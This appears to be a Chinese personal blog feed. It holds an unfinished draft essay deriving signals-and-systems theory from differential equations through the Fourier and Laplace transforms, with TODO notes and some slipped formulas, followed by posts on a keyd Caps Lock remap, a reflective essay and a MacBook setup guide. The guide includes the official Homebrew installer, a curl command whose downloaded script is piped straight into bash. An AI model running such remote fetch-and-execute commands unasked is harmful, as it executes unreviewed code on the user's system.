$$ \underset{\text{激励}}{x(t)} \rightarrow \underset{存在即被观察}{\boxed{H}} \rightarrow \underset{\text{响应}}{y(t)} $$

系统是复杂的, 我们不能直接测量一个系统, 系统之所以能存在, 取决于系统能被观察, 而观察的途径是测量它的输入和输出. 这话是不是颇有哲学意味? 我们不知道现实的放大器发生了什么, 却知道它放大了电压幅值. 我们很难直接知道一个现代大模型内部发生什么运算, 我们只能输入一段 token, 得到一段 token. 只能通过感知它的输入和输出. 我不知道你的大脑里想什么, 却只能知道我给你一段音频, 你返回一些音频.

如果用数学来表达信号, 很显然我们可以用函数. 但系统呢? 我们用什么数学工具描述一个系统?

描述系统的工具: 微分方程

如果你是学习过信号与系统的学生, 你当然知道我们一直在研究微分方程. 但是你是否思考过为什么信号与系统一定要研究那么多微分方程?

如果搞不清这个问题, 那不搞研究就变成做题了. 如果找不到做一件事情的意义, 我连一点做这件事的动力都没有.

信号与系统需要微分方程, 这一点并不是偶然想到的, 而是必然只能用微分方程. 现在我们来找我们刚刚想要的意义.

为什么一定是微分方程

微分方程有两个特点, 一个特点是微分, 另一个特点是方程. 这听起来像一句废话. 但这两个特点恰好完美符合我们的需求.

为什么是微分

既然我们只能通过输入和输出之间的变化来定义系统，那么我们需要一种能描述变化之间相关性的语言. 这涉及到一个哲学前提：

因果的连续性.

如果我们假设自然界的变化是连续的，那么系统在“这一秒”的状态，必然取决于它“前一毫秒”的状态, 以及当下的输入.

系统的特征不体现在某个孤立的时刻，而体现在状态改变的速率上.

输入（推力）会导致输出的改变（加速度/速度变化）。在数学上，改变的快慢就是导数（微分）!

因此我们想描述“输入”与“输出的变化”之间关系，我们自然而然只能用微分.

为什么是方程

我们如果进一步思考: 系统之所以被称为系统，是因为它遵循某种内在的法则. 比如能量是守恒的, 电荷是守恒的.

换句话说: 系统的物理属性（质量、电阻、弹性）实际上是输入和输出之间的比例约束。

我们要研究系统，其实是在找那个不变的规则。

这个规则通常表现为：输出的某种组合（比如位移和速度）必须平衡掉输入的能量。

微分方程本质上就是记录这种能量/信息流动。它告诉我们，为了维持某种物理平衡，输出及其各阶变化率必须与输入达成怎样的比例。

我们无法直接看到系统的“灵魂”，但可以看到它的“行为”。系统的行为不是静态的照片，而是一连串的反应过程。

既然是反应过程，就意味着输出的变化（导数）与当下的输入（函数值）之间存在某种固定的规则。微分方程正是捕捉这种‘瞬间’的相机, 把原本难以捉摸的内部构造，转化成了输入与输出之间必须遵守的规则.

总之我们现在发现了微分方程的特性符合我们的需求, 微分方程可以方便的表示输入的形式和输出的形式和关系, 却很难直接解出系统. 我们想分析系统, 其实就是想分析微分方程.

系统的线性和时变

看到标题懵了, 什么是时变什么是线性, 线性这个词竟然能描述一个系统? 慢慢解释一下, 我仅仅只是为了保证文章看起来有结构一点才把这个词摆到标题来.

我们刚刚提到了耳机功放的例子, 功放的学术一点的名字叫放大器.

我们理想上的放大器, 仅仅只把 $x(t)$ 电压信号的纵轴进行缩放, 对电压进行等比例放大或缩小, 对吧? $H$ 对 $x(t)$ 的作用是 $y(t)=Ax(t)$, 我们能类比为等比例函数, 显然它就是线性的.

但现实中的放大器是什么呢? 首先它有最大输出电压 $V_{dd}$, 那现在它就是分段函数. 显然这个时候不线性了, 它是分段的. 而且可能放大器对不同的信号放大效果也许不同, 中间的那条线甚至可能不是条直线而是扭扭曲曲的了. 超过了 $V_{dd}$, 功放就会爆音. 不完美输出 $x(t)$ 的等比例缩放, 这是功放的失真.

这意味着输出 $y(t)$ 是关于输入 $x(t)$ 的一个复杂函数 $f(x)$, 这就是系统的非线性.

Hifi 圈买来耳机想放一段时间音乐, 煲机, 才能达到更好播放效果. 功放随着电路发热、元件老化，可能耳机和功放的性能会下降. 显卡跑 3A 大作, 用着用着发热了, 性能下降, 帧数变低.

系统的参数 $A$ 会随时间 $t$ 漂移。这时系统变成了 $y(t)=A(t)⋅x(t)$. 这就是系统的时变.

如果我们直接研究这种现实中的系统，数学上会立刻陷入非线性时变微分方程的泥潭，这类方程大多没有通解，且对初始条件极度敏感. 因此我们想简化问题, 先看看简单的情况, 我们现在只研究线性时不变系统, 即: 线性的, 不随时间变化的系统, 翻译一下叫 Linear Time-Invariant System, 以后我们简称这样的系统叫 LTI 系统.

问题的简化: 消除非线性和时变

我们想简化问题, 只研究 LTI 系统, 换句话说我们不想有非线性和时变. 怎么在数学上表达我们的需求呢?

怎样消除非线性

如果我们把系统的响应函数 $f(x)$ 进行泰勒展开:

$$ f(x) = f(0) + f’(0)x + \frac{f’’(0)}{2!} x^2 + \frac{f’’’(0)}{3!} x^3 + \dots $$

你可以非常直观地看到, $f(x)$ 非线性的来源, 就是这些非线性项. 我们直接把非线性项人为置零, 并且消除偏置(去掉 $f(0)$, 假设没有输入就没有输出), 这就是数学上的线性.

$$ f(x) \approx Ax \quad (\text{其中 } A = f’(0), \text{ 忽略高阶项 } x^n) $$

结果我们就得到了 $y=Ax$ ,这就是线性化. 我们只抓住主要矛盾, 不看次要矛盾.

但这只是描述了怎样的函数才是线性的. 为什么微分方程也能是线性的呢? 这也是关键的一步跳跃。我们刚才说到, 我们要研究的不仅是 $y$ 和 $x$ 的关系，还有它们变化率的关系.

事实上我们可以发现, 微分运算本身也是线性的!

为什么这么说?

如果我们定义微分算子 $D$:

TODO: 此处直接提出算子是否不太合适?

$$ \hat{D} = \frac{d}{dt} $$

你会发现:

$$ \hat{D}[a \cdot x_1(t) + b \cdot x_2(t)] = a \frac{d x_1(t)}{dt} + b \frac{d x_2(t)}{dt} = a \hat{D}x_1(t) + b \hat{D}x_2(t) $$

此时我们的逻辑才完成了闭环: 既然我们通过泰勒展开把“函数关系”变线性了, 而且“微分运算”天生就是线性的, 那么把它们组合起来的微分方程 (例如 $a_n D^n y + … = b_m D^m y$ ) 也就自然可以继承这种线性特质.

怎样消除时变

我们刚才提到的“让输出与之前的输入不相干”, 在时间上体现为: 系统的记忆特质必须是恒定的。

时不变, 意味着系统对信号的“加工能力”不随时间流逝而改变。如果你今天给它一个信号，它这样反应；明天给它同样的信号，它还是一样的反应。

在微分方程中，这意味着描述系统特性的系数（如电阻 $R$、电感 $L$、质量 $m$）不能是时间 $t$ 的函数。

如果系数是常数，这就是常系数微分方程

如果系数随时间变 (如 $t^2 y′′ + t^2 y′ + y = x$), 自然, 系统就是时变的了.

我们现在费尽心思消除了非线性和时变, 不是为了偷懒, 这是从哲学上的思考出发的, 这是叠加原理.

因为系统是线性的，我们可以把复杂的信号拆解成无数个简单的“小信号”之和。
因为系统是时不变的，我们处理这些“小信号”时，不需要考虑它们发生的先后顺序。
最终目我们可以通过研究系统对一个最简单的信号的反应, 把这些最简单的反应进行叠加组合, 就能推导出它对任何复杂信号的反应。

因此我们的现在只会研究类似这样的方程:

$$ P(D)y(t) = Q(D)x(t), \quad D = \frac{d}{dt} \newline \text{其中,} \quad P(D) = \sum_{k=0}^{N} a_k D^k $$

零输入 LTI 系统: 齐次常微分方程

如果进一步简化问题, 只讨论零输入系统, 这意味着不再对 $x(t)$ 作考虑. 那么, 微分方程可能类似这样:

$$ A \frac{d^2 y(t)}{dt^2} + B \frac{d y(t)}{dt} + C y(t) = 0 $$

我们已经知道, 微分方程让我们能表示系统, 现在这个方程翻译一下就是, 这个系统跟输入没关系, 但和它自身的状态有关系. 这么说可能很抽象, 我们举一个现实中的例子你就会理解: 弹簧-质量-阻尼系统.

想象这样一个装置:

一个质量块 $m$, 你知道 $F=ma$, 质量越大惯性越大越不爱动.

有阻尼系数 $c$ ,比如空气阻力, 阻尼可能随速度成正比 $c$.

有弹簧, 弹性系数 $k$, 拉的距离越大, 它往原点的力越大.

$$ my’’ + cy’ + ky = 0 $$

你把它拉开放手, 它就想弹回去, 有质量, 加速度低, 就刹不住车, 弹来弹去. 有阻尼, 振幅就越来越小, 最终就会归为原点.

我们此时现在实际上想研究的问题是, 我们好奇系统如果有这样的质量, 阻尼, 弹性系数时, 我们的弹簧会呈现怎样的运动.

换句话说, 我们想知道对于这样的方程, 如何找到 $y(t)$.

事实上你可以想到, 滑块根据它的初速度, 初始位置的不同, 肯定会有无穷多种运动样式, 有的振幅大有的振幅小, 有的先向左有的先向右.

我们想找到一个通解的模式, 这样就能根据系统的初始状态, 得到通解中的某一个特解.

问题来了, 我们的通解, 我们各种各样的 $y(t)$, 应该会长成什么样子呢?

我们这里虽然只是一个二阶的微分方程, 但别忘了我们实际上系统可能远比这个系统复杂, 可能 $y(t)$ 会被微分无数次. $y(t)$ 如果每微分一次, 就大变模样, 显然会难以适用于各种微分方程.

我们希望 $y(t)$ 最好可以只由一个初等函数组成, 并且这个初等函数对微分运算保持线性. 换句话说, 我们希望它反复求导的时候, 不会变的越来越复杂.

这样一来, 意味着我们在对它做微分运算时, 可以让我们抛掉 $t$ 的相关性, 对它微分不会产生新的关于 $t$ 的奇怪东西. 也就是每求一次导，只是多了一个常数, 再求一次导，也只是再多一个常数, 那它代进微分方程时，所有项就都能合并起来。

这样一来，微分方程中所有关于变化率的项，都可以被统一成同一个函数因子的倍数，问题就从“解函数”变成了“解常数”。

初等函数只有那么几个. 不管通过直觉, 还是通过排除法, 我们都能发现, 我们想要的函数实际上就是指数函数:

$$ \frac{de^{\blacksquare t}}{dt} = \blacksquare e^{\blacksquare t} $$

我们如果就真的让 $y(t) = e^{\blacksquare t}$, 此时:

$$ A\blacksquare^2 e^{\blacksquare t} + B\blacksquare e^{\blacksquare t} + Ce^{\blacksquare t} = 0 $$

这时候, 正如我们刚刚所料, 发现 $e^t$ 果然可以提取, 就是:

$$ e^{\blacksquare t}(A\blacksquare^2 + B\blacksquare + C) = 0 $$

指数函数, 这样一个初等函数, 确实可以让我们在不用关心 $t$ 的情况下就可以表示出这个系统.

方框的 latex \blacksquare 打的有点累, 所以我后面就把它写成 $s$. 你知道它就只是个符号而已. 你是信号与系统的发明者, 你可以自己发明任何符号.

$$ e^{st}(As^2 + Bs + C) = 0 $$

总之, 我们想分析零输入的线性时不变系统, 想分析那种刚刚复杂的 n 阶常微分方程, 竟然可以在不丢失任何信息的情况下, 只需要分析一个简单的多项式:

$$ As^2 + Bs + C = 0 $$

要让上面的微分方程成立, 只需要让这个多项式成立.

它其实被叫做特征方程, 名字很好理解, 它就是这个系统的特征.

刚刚说到因为这是一个线性系统, 实际上微分方程的解我们可以想象到是 $e^{st}$ 在 s 取不同值时候的线性组合. 我们想象微分方程的解空间是一个矩阵空间, 那 $e^{st}$ 实际上是这个空间的基变量, 通解实际上是基变量张成的空间.

我们选择 $e^{st}$ 作为“基函数”, 本质上是因为它是微分运算的"本征函数", 这里暂时不展开说.

因为这里讨论的是二阶, 所以通解应该可以写成

$$ y(t) = ae^{s_1 t} + be^{s_2 t} $$

我们其实还没把方程解完. 最终我们想让 $s$ 里只包含 ABC. 简单想到用一元二次的求根公式:

$$ s_1 = \frac{-B+\sqrt{B^2-4AC}}{2A} \newline s_2 = \frac{-B-\sqrt{B^2-4AC}}{2A} $$

但这样明显是有问题的, 不能直接把 $s_1$, $s_2$ 带入进去. 我们会发现其实需要分情况讨论这个 $s$.

$$ \Delta = 0, s_1 = s_2 = \frac{-B}{2A}, 重根 \newline \Delta > 0, s_1, s_2 \in \mathbb{R} $$

当 $\Delta < 0$ 时, 我们已经需要讨论 $s$ 是一个复数的情况, 我们一般把 $s$ 表示成 $\alpha + j\omega$. 利用欧拉公式可以把 $e^{st}$ 做这样的变换:

$$ e^{st} = e^{(\alpha + j\omega)t} = e^{\alpha t} e^{j\omega t} \newline e^{st} = e^{\alpha t}(\cos{\omega t} + j\sin{\omega t}) $$

上面的求根公式的实部和虚部可以由此对应到这样的实部和虚部:

$$ \alpha = -\frac{B}{2A} \quad,\quad \omega = \frac{\sqrt{4AC - B^2}}{2A} $$

至此我们求完了这样一个微分方程, 的通解. 注意感受一下, 微分方程的解是函数. 理解一下特解, 特解是什么? 比如给定: $y(0)$ 和 $y’(0)$, 我们当然可以找到这样的系统状态对应的输出 $y(t)$ 的确切函数形式, 这个函数形式当然是符合通解的格式的. 或者说, 这个特解函数就是通解空间中的一个具体的向量.

思考:

为什么我们只要两个不同的 $e^{st}$ 就可以表示出通解? 为什么不是三个?
为什么

有输入的 LTI 系统

现在进一步思考, 现在看有输入的 LTI 系统. 换成微分方程的语言, 形式可能长这样(注意为了直观感受, 仍然只看二阶常微分方程, 实际上系统可以是 n 阶):

$$ A \frac{d^2 y(t)}{dt^2} + B \frac{d y(t)}{dt} + C y(t) = D \frac{d^2 x(t)}{dt^2} + E \frac{d x(t)}{dt} + F x{t} $$

我们已经知道怎么处理这样的问题了, 我们可以只研究特征方程.

狄拉克函数

有没有有种函数信号, 适用于所有的系统, 作为统一度量衡, 激发出的函数可以显露系统所有模态?

想适用于所有系统, 意味着时间无关, 并且能量有限, 自然能想到如何构造.

卷积的本质是函数分解

思考能否把系统对信号的作用写成函数形式.

$\delta (t)$ 得到 $h(t)$.

$x(t)$ 得到 $y(t)$

$x(t)$ 本质可以分解为无数个 $\delta(t)$ 时移后的加权和, 时移的长度就是 $\tau$, 权就是 $x(t)$. 因此 $x(t)$ 应该可以被写成积分:

$$ x(t) = \int_{-\infty}^{\infty} x(\tau)\delta(t-\tau) d\tau $$

我们知道一个 $\delta(t)$ 会激发出对应时移加权之后的 $h(t)$, $y(t)$ 应当也可以写成无数个 $h(t)$ 的时移加权和.

$$ y(t) = \int_{-\infty}^{\infty} y(t)h(t-\tau) d\tau $$

但 $y(t)$ 应该也可以分解到 $\delta(t)$ 上.

我们现在可以发明卷积. 我们用函数的方式表示出时域上表示系统对信号的作用, 这个作用是 $h(t)$

$$ x(t)*h(t) = \int_{-\infty}^{\infty} x(\tau) h(t - \tau) d\tau $$

初步思考拉普拉斯变换

这个计算是复杂的. 但我们刚刚发现特征方程之间的计算是简单的. 并且我们似乎找到了一个方式能从 $x(t)$ 获得 $X(s)$. 我们有这两个方程:

$$ x(t) * h(t) = y(t) \newline X(s)H(s) = Y(s) $$

假如我们能找到一种运算, 定义出它, 以及它的逆运算, 那么我们在计算 $x(t)*h(t)$ 的时候, 就可以做到直接用这个运算, 把 $x(t)$ 和 $h(t)$ 变成 $X(s)$ 和 $H(s)$, 我们就只需要计算 $X(s)H(s)=Y(s)$ 这样的单次乘法运算, 再把 $Y(s)$ 逆运算回 $y(t)$ 就可以得到结果.

那么我们怎样找到这个运算呢?

希尔伯特空间

如果把函数看作无限维向量, $x(t)$ 和 $X(s)$ 各自构成了自己的函数空间. 想找到拉普拉斯变换, 实际上想找到两个函数空间之间的映射关系.

我们需要先想办法定义函数空间. 空间需要有正交基. 向量和向量之间的正交是靠内积定义的, 内积为 0 则正交. 那么需要先定义函数的内积是什么.

内积运算, 是两个向量之间的运算, 得到一个数值而不是向量. 意味着函数和函数的内积应该是值而不是另一个函数, 意味着需要积分.

注意我们的函数参数和值是复数域, 意味着复数域上的方向性也需要消除. 实现的办法是取虚数的共轭.

因此定义函数内积如下:

$$ <x(t), y(t)> = \int_{-\infty}^{\infty} x(t)y^*(t) dt $$

想找到两个函数空间之间的映射关系, 只要找到两个空间各自的正交基是什么.

对于 $x(t)$ 领域, 正交基实际上是 $\delta(t)$, 因为不同时间上的函数值完全没有干涉, 换句话说只在一个点取值.

对于 $X(s)$ 领域, 正交基我们现在实际上没有什么头绪. 可以通过微分方程的解的形式猜到可能是 $e^{st}$, 但这个思维是跳跃的.

如何考虑下一步要研究什么呢?

思考所有的线性常微分方程: 由 t 到 s

我们思考所有的线性常微分方程

$$ \sum_{i=1}^{n=\infty} C_i \frac{d^i y}{dt^i} = \sum_{i=1}^{n=\infty} D_i \frac{d^i x}{dt^i} $$

我们研究的对象是所有的线性常微分方程时, 我们讨论的自变量其实不再是 $y(t)$ 或者说 $t$

我们的自变量变成了微分方程的系数和阶数

而 $s$ 我们刚刚知道是关于系数和阶数的多项式, $s$ 由多项式定理可知会覆盖整个复平面.

$s$ 应当也可以作为一个自变量被讨论

思考:

为什么这里想到我们应该回去思考所有的线性常微分方程?
发现 $s$ 可以稠密覆盖整个复平面时, 为什么想到 $s$ 可以被作为自变量?

e^st 的振荡: 频率

观察 $s$ 在不同取值时的 $e^{st}$ 的特性, 发现有振荡和不振荡两种情况. 为什么会出现振荡?

$$ e^{\alpha + j\omega t} = e^{\alpha t}(\cos{\omega t} + j\sin{\omega t}) $$

用欧拉公式理解, 我们发现了振荡的原因是 $s$ 的虚部, 而 $s$ 的实部控制了 $e^{st}$ 的幅值变化.

由此我们才能定义出频率是什么.

傅里叶分析

我们好奇的是 $e^{st}$ 的振荡特征. 因此我们现在只看导致它产生振荡的虚部, 即: $e^{j\omega t}$

傅里叶级数

我们发现:

三角函数似乎是世界的一种基本量
不同频率的正弦波似乎不会相互干扰
就像把写成泰勒展开一样, 似乎周期信号可以写成多个正弦波的叠加

由 2, 不相干 -> 正交 -> 点积为 0

我们给不同的正弦波定义点积:

$$ f_1 \cdot f_2 = \int_{0}^{T} f_1(t)f_2(t) dt $$

这里和上面想到的函数内积不太一样, 我们没有复数, 只是周期函数, 没必要讨论共轭.

$$ f_1(t) = \cos{n \omega_0 t}, \quad f_2(t) = \cos{m \omega_0 t} \newline \int_{0}^{T} \cos{n \omega_0 t} \cos{m \omega_0 t} \ dt = \int_{0}^{T} \frac{1}{2} (\cos{(n+m) \omega_0 t} + \cos{(n-m) \omega_0 t}) \ dt $$

公式:

$$ f(t) = \sum_{n=-\infty}^{+\infty} D(m) e^{j m \omega_0 t}\newline D(m) = \frac{1}{T} \int_{0}^{T} f(t) e^{-j m \omega_0 t} $$

傅里叶变换

考虑非周期信号, 实际上非周期信号可以被看作是周期为无穷的周期信号.

$$ X(j\omega) = \int_{-\infty}^{\infty}x(t)e^{-j\omega t} \ dt \newline x(t) = \frac{1}{2\pi} \int_{-\infty}^{\infty} X(j\omega) e^{j\omega t} \ dt $$

对偶性

如果时域的 f(t) 对应到频域的 F(w), 那么时域的 F(t) 对应到 f(w),

拉普拉斯变换: 带上实部

傅里叶变换在积分之后形式显得丑陋, 其实暗示了它是不完备的. 我们知道为什么不完备, 我们没有考虑实部.

带上实部之后就有了拉普拉斯变换.

$$ F(s) = \mathcal{L} { f(t) } = \int_{0}^{\infty} f(t) e^{-st} \ dt $$

$$ f(t) = \mathcal{L}^{-1}{F(s)} = \frac{1}{2\pi j} \int_{\gamma -j\infty}^{\gamma + j\infty} F(s)e^{st} \ ds $$

再次思考微分方程: 微分方程的完全解

引入算子视角

我们已经定义了 LTI 系统。

问题：用微分方程 $y′′(t)+ay′(t)+by(t)=x(t)$ 描述系统太笨重了。

微分方程和差分方程如果不把 $D$（微分/差分）看作运算，而看作一个对象（算子），那么系统 $H$ 就是基础算子 $D$ 的有理函数 Rational Function

抽象：引入微分算子 $D$ ,方程变成 $(D^+aD+b)y=x$。

定义系统算子： $H=\frac{1}{D^2+aD+b}$ 即，系统是基础算子 D 的有理函数

算子代数, 系统的本质

我们能不能像操作代数式一样操作 $D$ 和 $H$?

算子的代数结构 (交换律,结合律)：
1. 为了像操作数一样操作系统（串联、并联），必须定义算子的加法和乘法。
2. 必须证明算子满足交换律（$H\cdot D=D\cdot H$）和结合律($D\cdot D = D^2$)。
3. 证明: 只有在 LTI 下，算子才满足交换律。正因为系统是时不变 (TI) 的，系统算子 H 才能和延时/微分算子 D 交换.

特征函数和谱

回到初衷, 解微分方程太难，我们想把“卷积/微分”变成“乘法”

因为算子满足交换律（特别是与微分/移位算子可交换），根据线性代数, 可交换矩阵拥有共同的特征向量，系统算子 $H$ 必然共享基础算子 $D$ 的特征函数。
$D$（微分）的特征函数是 $e^{st}$ ；$D$（差分）的特征函数是 $z^n$ (想到等比数列)。
特征值
因此，$e^{st}$ 和 $z^n$ 也就成了整个 LTI 系统分别在连续和离散领域的特征函数。这是拉普拉斯变换和 Z 变换存在的根本原因。

什么是算子谱

线性代数的类比
1. 矩阵是有限维空间上的线性算子。
2. 矩阵的特征值构成的集合，~~叫"谱"~~。有且只有无限连续才能叫谱, 这里不应该叫谱
3. 如果 $Av=λv$，输入向量 v 经过矩阵变换后，方向不变，只伸缩了 $λ$ 倍。
推广到函数空间(泛函分析)
1. 系统 $H$ 是无穷维函数空间上的线性算子。
2. 信号 $f(t)$ 是这个空间里的向量。
3. 我们需要寻找一种信号，通过系统后，波形（“方向”）不变，只有幅度/相位（“长度”）发生了变化。即：$H{f(t)}=λ⋅f(t)$。
4. 这种信号就是特征函数（$e^{st}$）。
5. 对应的 $λ$（也就是系统对该频率信号的增益），构成了系统的谱。
结论系统的“频率响应”或者“传递函数” 即 $H(s)$ 或 $H(jω)$，本质上就是系统算子的“谱”。

LTI 的情况下, 谱定理保证了：任何 LTI 系统都可以分解为一系列特征函数（正弦波/指数波）的加权叠加。处理信号变成了处理这些特征值（谱）。

分析离散（从函数到数列）

离散化的动机：计算机只能处理离散信号（数组）
采样的本质
1. 时域：连续信号 x(t) 乘以周期冲击串
2. 频域: 时域相乘等于频域卷积。连续信号的频谱与冲击串的频谱（也是冲击串）卷积 → 导致原频谱的周期延拓
  1. 混叠(延拓部分发生重叠)
频率的定义从模拟到数字频率 $\omega = \Omega T$

幺正算子

如果 $<x(t), y(t)> = <T{x(t)}, T{y(t)}> $ 那么 $T T^* = I$ 且 $T^* = T^{-1}$

令 $x(t) = y(t)$, $<x(t), x(t)> = |x(t)|^2$, 定义算子内积:

使用 keyd 在 fedora 修改 Capslock 长按短按触发信号

Sun, 18 Jan 2026 00:21:27 +0800

~~变成 macOS 的形状了.~~

1
2
3
4


sudo dnf copr enable -y alternateved/keyd
sudo dnf install keyd
sudo mkdir -p /etc/keyd/
sudo vim /etc/keyd/default.conf

修改配置如下:

1
2
3
4
5
6
7
8


[ids]
*

[main]
# timeout(A, 250, B) 的意思是：
# 如果按住小于 250ms，触发 A (f14)
# 如果按住大于 250ms，触发 B (caslock)
capslock = timeout(f14, 250, capslock)

启动 keyd 系统服务

1

sudo systemctl enable --now keyd.service

然后可以在 fcitx5 设置输入法切换为 f14.

如果需要修改 keyd 配置, 修改后可以不必重启服务, 而是:

1

sudo keyd reload

关于大二上的随笔 - 1

Thu, 08 Jan 2026 15:06:53 +0800

大二上发生了太多事情，又把自己变得很忙碌。这篇随笔本来想元旦写的，又拖了很久。意识到随笔应当写的更加随意一点，抱着一种反正没人看的态度写，要不然就永远都不会发布。

总结一下我和几个月前相比，做了什么新的事情：

尝试做直播形式的后端导论课
尝试做文档形式的后端教程，但只列了一个大纲，因为没时间而被搁置。
新接了个外包，接入 Stripe 支付系统（没时间的原因之一）
重构一个大型 Python 应用
高强度 Python 应用加密和基于硬件的 license

关于教程，感到自己或许有适合做教程的潜质，希望后面发掘一下。关于后端教程，只是搁置，没有弃坑。

关于 Python。本来以为能成功交接项目给后人，不用再写 Python。但发现找到后人有点困难，不得不自己继续维护。应用体量大，又想保证合理的代码架构和可维护性，逐渐总结出自己的一套 Python 应用的开发习惯。Python 的语法太狂野了，类似的东西有 N 种写法，难以在团队中统一，几乎完全依靠团队的文档和代码审查。下定决心接下来绝对不想再写 Python 了。

关于学习如何写出可维护的代码。如果早知道 Paramer 这个项目体量会这么大的话，一开始我就不会选 Python 了。但这也是事后诸葛亮的说法，当时只会考虑快速验证快速交付。项目架构失控之后决定重构，这一版合理的架构，稳定增加功能，结构良好至今，没有什么地方是不敢动的老代码。其实发现自己是在不断压制 Python 的自由度，不断审查 AI 的代码和别人的代码，写合理的架构文档，完全把 Python 当成一个严格的语言去写，几乎完全是靠架构意识去规范自己，不断强化自己的思维。也许算是因祸得福？

随笔其一，可能想到的基本是技术方面的东西。

Macbook 上手 - 基础使用和开发环境搭建

Mon, 10 Nov 2025 02:00:00 +0800

入手了 Macboook Air M4，感觉是受益非常大的一次购买。

此前习惯使用的开发环境是，台式机 + x86笔记本的 Archlinux。主要痛点有两个。

一是续航问题，也是最大的痛点。宿舍环境并不适合工作，因此我从起床到踩着门禁回宿舍基本不想呆在宿舍。经常的情况是，上课上一半电脑没电，只能听课。或者电脑没电，被迫回宿舍用台式，耳边是舍友游戏，同时还得时刻听网课等签到码，这种情况下其实根本无法专注开发。尝试使用平板串流回宿舍，但网络波动严重。使用平板 termux + neovim，配置太折腾，且最终体验并不好，不希望大部分时间用来配置环境而不是用来开发。

二是环境问题。Archlinux 包管理器的确方便。但不管怎样我仍然承担太多关于我自己的电脑系统运维和配置的任务，需要关注各种开发无关的事情，诸如 KDE 桌面可能滚炸，某个驱动不能直接 Syu 需要另外配置等等。只要出现一次桌面滚炸，往往意味着一个整个下午甚至更长时间都不能用于开发而是修环境，意味着延误开发进度，如果正逢 DDL，那么就死了。Archlinux 更适合有大量空闲时间可以用来精心配置自己的系统的人。Nix 这一套其实可能不错，但感觉上手需要大量时间，配置同样又要时间。有考虑过从 Archlinux 切换到 Fedora，但这同样需要我花时间，用于数据备份，重装系统，重新配置整个环境。

Macbook Air 解决了我两个最大的痛点。

本文记录了入手 Macbook 之后，我怎样搭建了我的开发环境，把它变成了一台生产力机器。

桌面操作和配置

触控板操作

设置中搜索“触控板手势”看到所有的触控板操作。

很喜欢 macOS 的全屏应用管理。三指上滑调度中心，左右横扫切换全屏应用，比较舒适。

键盘

macOS 中的 control, option, command 逻辑大致是：

Command (⌘)：在 macOS 里是主修饰键。你在 Windows/Linux 里平常用 Ctrl+C / Ctrl+V，到了 mac 上就是 ⌘C / ⌘V。所以语义角色上 Command ≈ Ctrl（别的系统的）。

Control (⌃)：是更底层的控制信号键，确实就是发 Ctrl 字符给终端那种。在 shell 或 vim 里，Ctrl+A / Ctrl+E 就是走 Emacs 控制序列那一套。

Option (⌥)：等价于 Alt。区别在于它默认还参与输入法（比如打出特殊符号或中文输入法的候选），在终端里要当作真正的 Alt 用，需要在终端设置里打开 “Use Option as Meta key”。

这样的划分其实很不错，Shell 里 Ctrl+C 不会和 ⌘C 打架。

输入法

添加输入法和更改其设置，选取苹果菜单  >“系统设置”，然后点按边栏中的“键盘” 。（你可能需要向下滚动。）前往“文字输入”，然后点按“编辑”。

快捷键

设置 -> 键盘 -> 键盘快捷键

可以在其中看看 macOS 的窗口管理操作快捷键。

fn lock

键盘快捷键 -> 将 F1, F2 等用作标准功能键

开启后调整亮度等需要按住 fn + f1。

fn 切换输入法，中/英改为 Capslock

默认 fn 键是打开表情符号选单。我喜欢让它变为更改输入法，作为一个单独按键，不管怎样都不会和 shift，ctrl，ctrl+space(VSCode 的补全) 这三个其他软件常用的快捷键打架了，属于是我在 Windows 上没能解决的一个问题。打开表情选单使用⌘ ⇧ .（使用 Raycast）

键盘 -> 键盘快捷键 -> 输入法，将“选择上一个输入法”和“选择‘输入法’菜单中的下一个输入法”取消勾选。

键盘 -> 按下 fn 键时 -> 更改输入法。

键盘 -> 文字输入 -> 输入法 -> 编辑 -> 所有输入法 -> 使用中/英键切换 ABC 输入法

这里的逻辑其实是，fn 键切换 ABC 和拼音，而在拼音输入法中，按下中英键仍然切换中英文，但是这是在中文输入法中输入英文。

包管理

使用 Homebrew。macOS 上最方便的包管理器，我的软件安装几乎完全由它完成，没有使用过 app store。

macOS 上还可以使用 nix 包管理器，等到有闲工夫折腾的时候试试迁移到上面。

⌘ + Space 打开终端

1

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

以后基本上只要 brew install, brew upgrade, brew search就行。

安装字体

1

brew install font-jetbrains-mono-nerd-font

开发环境

macOS 的文件系统

macOS 和 linux 都是 Unix，但区别其实还是有挺多。列出几点。

大小写敏感

默认 macOS（APFS）是不区分大小写的，foo.txt 和 Foo.txt 是同一个文件，所以代码库如果有类似文件名（尤其前端资源、模块名），在 macOS 上可能不会报错，但在 Linux 部署就炸。

.DS_Store

Finder 会在每个目录下生成 .DS_Store 文件，用于存储该目录的显示设置等信息。如果不想让 git 提交这些文件，可以在全局 gitignore 里添加一行 .DS_Store。

1
2


git config --global core.excludesfile ~/.gitignore_global
echo ".DS_Store" >> ~/.gitignore_global

总之就是不要用 Finder，这个东西防不胜防。

符号链接与文件元信息

macOS 文件系统支持"扩展属性(xattrs)" 与"资源分叉resource fork"，一些工具(尤其是 Finder)会携带 ._filename 的元文件。

使用 macOS 的 Finder 压缩一个文件夹：

1
2


foo/
└── bar.txt

结果生成的 zip 里会有：

1
2
3


bar.txt
__MACOSX/
__MACOSX/foo/._bar.txt

这些 ._bar.txt 就是存资源分叉或扩展属性的。总之不要用 Finder。

路径与权限模型

macOS 路径中 / 一样分隔，但默认用户家目录权限比 Linux 更严格（SIP 保护 + sandbox）。

/usr(除了/usr/local), /System, /bin, /sbin 等在 macOS 是受保护的系统卷，即使 root 都不能随便写。

推荐把开发环境放在 /usr/local 或 $HOME/.local 下。

Shell

macOS 默认使用 zsh。

Zim Framework

另见这一篇文章：我的 Zim Framework 安装和配置

lazyGit

lazygit 是非常好用的 Git TUI，我很爱用。

1

brew install lazygit

我个人非常常用，所以给它加个别名

1

echo "alias lg='lazygit'" >> ~/.zshrc

Yazi

Yazi 是终端文件管理器。

1

brew install yazi

Alacritty

Alacritty 是一个终端模拟器，轻量好用且非常非常快，极简，没有携带任何提供终端以外的功能(分屏，标签页）。如果更喜欢终端分屏而不是 tmux 的话建议另行使用 kitty。

设置字体

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


# ~/.config/alacritty/alacritty.toml

[font]
size = 16.0

[font.normal]
family = "JetBrainsMono Nerd Font"
style = "Regular"

[font.bold]
family = "JetBrainsMono Nerd Font"
style = "Bold"

[font.italic]
family = "JetBrainsMono Nerd Font"
style = "Italic"

[font.bold_italic]
family = "JetBrainsMono Nerd Font"
style = "Bold Italic"

option 键映射为 alt

1
2
3
4


# ~/.config/alacritty/alacritty.toml

